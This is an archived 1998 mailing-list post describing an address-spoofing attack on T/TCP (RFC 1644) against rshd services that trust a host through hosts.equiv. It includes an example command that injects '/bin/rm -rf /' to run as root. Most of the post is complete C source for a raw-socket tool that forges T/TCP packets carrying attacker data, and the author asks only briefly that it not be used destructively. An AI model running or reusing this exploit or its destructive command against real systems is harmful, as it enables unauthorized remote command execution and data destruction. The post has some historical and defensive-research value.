Example of RFC-1644 attack

Vasim Valejev (vasim@DIASPRO.COM)
Tue, 07 Apr 1998 19:26:41 +0600

Hi !

Good news : SYN-flood attack with TTCP-packets will have null
effects at most systems . But attacks on some tcp-services
can be successful :

Simple network : computer 'victim' and computer 'master' with
link > 10 ms delay . Victim have '+master' in /etc/hosts.equiv and
'shell stream ... rshd' in /etc/inetd.conf . Both computers have
t/tcp (rfc-1644) support .

1. Master does any t/tcp connections to victim . Victim's
cache[master].cc sets to value > 0 .

... Time passed ...

2. Hacker runs command :

hacker# 1644 master victim 514 '\0root\0root\0/bin/rm -rf /\0\0'

Hacker's computer sends T/TCP packet (SYN+PUSH+data) to 'victim'
with source address of 'master' . CC value in packet may be
any > cache[master].cc (0xffffffff for example) .

3. Hacker's packet received and victim sends SYN+ACK packet to
master . Preparing to run rshd with hacker's data ('rm -rf /'
as root) .

... 10-50 ms passed ...

4. Victim's packet received and master sends RST packet .
Too late , sorry ...

FreeBSD version of 1644 (use ip addresses only) :

/* 1644 by Vasim V. */
/* Please , don't use this program for any destructive targets ! */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define NEED_NEWCC 0x01
#define NEED_FIN 0x02
#define NEED_PUSH 0x04
#define NEED_TSTAMP 0x08

struct fhdr {
u_long saddr;
u_long daddr;
u_char zero;
u_char protocol;
u_short length;
};

unsigned long cc = 0x7fffff00;

u_short in_cksum(u_short *data,u_short length)
{
long value;
u_short i;

value = 0;
for(i=0; i < (length >> 1); i++)
value+=data[i];

if (length & 1)
value+=*(((u_char *) data) + length - 1);

value=(value & 65535) + (value >> 16);

return(~value);
}

void
sendpack(int sock, u_long saddr, u_long daddr, u_short port, u_char *data, int length, int options)
{
struct ip *mip;
struct tcphdr *mtcp;
struct fhdr *fhdr;
int totlen;
u_char buf[9000];
struct timeval tp;
struct sockaddr_in sin;

gettimeofday(&tp, NULL);
srandom(tp.tv_usec);
if (cc == 0)
cc = tp.tv_sec;
totlen = sizeof(struct ip) + sizeof(struct tcphdr);

mtcp = (struct tcphdr *) (buf + sizeof(struct ip));
mtcp->th_sport = htons(512 + (random() % 512));
mtcp->th_dport = htons(port);
mtcp->th_seq = htonl(random());
mtcp->th_ack = 0;
mtcp->th_x2 = 0;
mtcp->th_flags = TH_SYN;
if (options & NEED_FIN)
mtcp->th_flags |= TH_FIN;
if (options & NEED_PUSH)
mtcp->th_flags |= TH_PUSH;
mtcp->th_win = htons(17244);
mtcp->th_urp = 0;
mtcp->th_sum = 0;

buf[totlen++] = TCPOPT_MAXSEG;
buf[totlen++] = TCPOLEN_MAXSEG;
*((u_short *) &buf[totlen]) = htons(1460);
totlen += sizeof(u_short);
if (options & NEED_TSTAMP) {
*((u_long *) &buf[totlen]) = htonl(TCPOPT_NOP << 24 |
TCPOPT_WINDOW << 16 | TCPOLEN_WINDOW << 8);
totlen += sizeof(u_long);
*((u_long *) &buf[totlen]) = htonl(TCPOPT_TSTAMP_HDR);
totlen += sizeof(u_long);
*((u_long *) &buf[totlen]) = htonl(tp.tv_sec);
totlen += sizeof(u_long);
*((u_long *) &buf[totlen]) = 0;
totlen += sizeof(u_long);
}
buf[totlen++] = TCPOPT_NOP;
buf[totlen++] = TCPOPT_NOP;
if (options & NEED_NEWCC)
buf[totlen++] = TCPOPT_CCNEW;
else
buf[totlen++] = TCPOPT_CC;
buf[totlen++] = TCPOLEN_CC;
*((u_long *) &buf[totlen]) = htonl(cc);
cc++;
totlen += sizeof(u_long);

mtcp->th_off = (totlen - sizeof(struct ip)) >> 2;
if (data && length)
memcpy(buf + totlen, data, length);
fhdr = (struct fhdr *) (buf + sizeof(struct ip) - sizeof(struct fhdr));
fhdr->saddr = saddr;
fhdr->daddr = daddr;
fhdr->zero = 0;
fhdr->protocol = IPPROTO_TCP;
fhdr->length = htons(totlen - sizeof(struct ip) + length);
mtcp->th_sum = in_cksum((u_short *) fhdr, totlen - sizeof(struct ip) + sizeof(struct fhdr) + length);

mip = (struct ip *) buf;
mip->ip_len = totlen + length;
mip->ip_v = 4;
mip->ip_hl = 5;
mip->ip_tos = 0;
mip->ip_id = htons(random() % 32768);
mip->ip_off = IP_DF;
mip->ip_ttl = 0x40;
mip->ip_p = IPPROTO_TCP;
mip->ip_sum = 0;
mip->ip_src.s_addr = saddr;
mip->ip_dst.s_addr = daddr;
mip->ip_sum = in_cksum((u_short *) mip, sizeof(struct ip));

memset((void *) &sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = daddr;
sin.sin_port = htons(port);
if (sendto(sock, buf, totlen + length, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) < 0)
perror("sendto");
}

void
main (int argc, char **argv)
{
u_long saddr;
u_long daddr;
int port;
int sock;
u_char buf[8192];
int len;
int i;
u_char *p;
u_char c;

if (argc != 5) {
fprintf(stderr, "\n1644 by Vasim V.\n\nUsage: %s source destination port data\n", argv[0]);
exit(1);
}
saddr = inet_addr(argv[1]);
daddr = inet_addr(argv[2]);
port = atoi(argv[3]);

sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sock < 0) {
perror("raw socket");
exit(2);
}
i = 1;
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i));
p = buf;
len = 0;
for(i = 0; i < strlen(argv[4]); i++) {
c = argv[4][i];
if (c == '\\') {
i++;
c = argv[4][i];
switch (c) {
case '0':
*p++ = '\0';
break;
case 'r':
*p++ = '\r';
break;
case 'n':
*p++ = '\n';
break;
default:
*p++ = c;
break;
}
} else
*p++ = c;
len++;
}
sendpack(sock, saddr, daddr, port, buf, len, NEED_PUSH | NEED_TSTAMP);
}

Vasim V. (2:5011/27 http://members.tripod.com/~Vasim VV86-RIPE)